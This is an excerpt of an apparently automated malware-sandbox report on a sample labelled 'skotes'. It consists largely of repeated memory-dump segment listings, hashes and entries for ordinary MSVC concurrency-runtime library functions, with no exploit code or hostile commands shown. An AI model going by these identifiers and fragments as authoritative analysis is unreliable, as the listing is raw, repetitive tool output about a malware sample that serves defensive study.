Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::$EventInternal$AssignBlockingConcurrency::location::_FindNestingPrepareThrowTraceWork
String ID:
API String ID: 1091748018-0
Opcode ID: 2513177de91a73a7dbcfddf3b717239a3ff491f7045fa7a44897486a099b55a6
Instruction ID: a06a66e6276155d98535508f1f2d53c1ca51c2431930e400d1f842453aee3360
Opcode Fuzzy Hash: 2513177de91a73a7dbcfddf3b717239a3ff491f7045fa7a44897486a099b55a6
Instruction Fuzzy Hash: 6E41E370604320ABCF19AB24E896BADBB76EF99314F144099E5069B3C2CF70AD45C7F1

Function 00D256AF Relevance: 6.1, APIs: 4, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_InternalDeleteHelper.LIBCONCRT ref: 00D256F2
_InternalDeleteHelper.LIBCONCRT ref: 00D25726
Concurrency::details::SchedulerBase::TraceSchedulerEvent.LIBCMT ref: 00D2578B
SafeRWList.LIBCONCRT ref: 00D2579A

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: DeleteHelperInternalScheduler$Base::Concurrency::details::EventListSafeTrace
String ID:
API String ID: 893951542-0
Opcode ID: 62a482217c34e9a89f5c293cead77512ab838a0169aada98903792454118db23
Instruction ID: 0f6614167dbb52d84bfe8131f20adeb911e16a1c61a90f3ba7dbf5ee2b4d5064
Opcode Fuzzy Hash: 62a482217c34e9a89f5c293cead77512ab838a0169aada98903792454118db23
Instruction Fuzzy Hash: 14312336B416209FCF159F20E885EAD77A6EFC9710F184279ED069B395DF70AC048BA0

Function 00D22CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00D22D0F

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: aaab93ed00386abf046338dafe6dd66435aef110b2c402b40855965749177baa
Instruction ID: d760633b79ff3a07eecd959ae2c60bdfd2916a9b0f23c3d1b03a071953496931
Opcode Fuzzy Hash: aaab93ed00386abf046338dafe6dd66435aef110b2c402b40855965749177baa
Instruction Fuzzy Hash: FD312975A00319EFCF14DF94D880BBE7BB9EB64318F1404AAE941AB246D770A945DBB0

Function 00D313F5 Relevance: 6.1, APIs: 4, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00D313FC
Concurrency::details::_TaskCollectionBase::_GetTokenState.LIBCONCRT ref: 00D31447
Concurrency::details::_CancellationTokenState::_RegisterCallback.LIBCONCRT ref: 00D3147A
Concurrency::details::_StructuredTaskCollection::_CountUp.LIBCMT ref: 00D3152A

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_$TaskToken$Base::_CallbackCancellationCollectionCollection::_CountH_prolog3_catchRegisterStateState::_Structured
String ID:
API String ID: 2092016602-0
Opcode ID: 6a6e97fa30f327509d63dc935571e08dcd4612d3f95da57966d6d349c5398e80
Instruction ID: 9977506a502a659a379cc2536ee01d5b98658b3caa479428492e99b7c8c7ee01
Opcode Fuzzy Hash: 6a6e97fa30f327509d63dc935571e08dcd4612d3f95da57966d6d349c5398e80
Instruction Fuzzy Hash: 9D314D75A006169BCB14EFA8D4919EDFBB5FF48710F18822DE416A7281CB34A941CBB0

Function 00D29C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00D29C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00D29CE8
std::bad_exception::bad_exception.LIBCMT ref: 00D29CFE
std::bad_exception::bad_exception.LIBCMT ref: 00D29D6A

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: bd6736bab1f0ddebb094d0c6cc49d5659ec7767307eb998481024d01dcd0ec04
Instruction ID: e0521c25d2378443cee4e7f39953ee29f9787c16d0d1f5ca3443b914ee4738d9
Opcode Fuzzy Hash: bd6736bab1f0ddebb094d0c6cc49d5659ec7767307eb998481024d01dcd0ec04
Instruction Fuzzy Hash: E621A176900624AFCB04EF64E892DEDF7B4EF25318F244065F401AB2A1DB31AE46DB71

Function 00D24885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00D24893
ListArray.LIBCONCRT ref: 00D248A5

Part of subcall function 00D25555: _InternalDeleteHelper.LIBCONCRT ref: 00D25564

ListArray.LIBCONCRT ref: 00D248AF
_InternalDeleteHelper.LIBCONCRT ref: 00D248C8

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
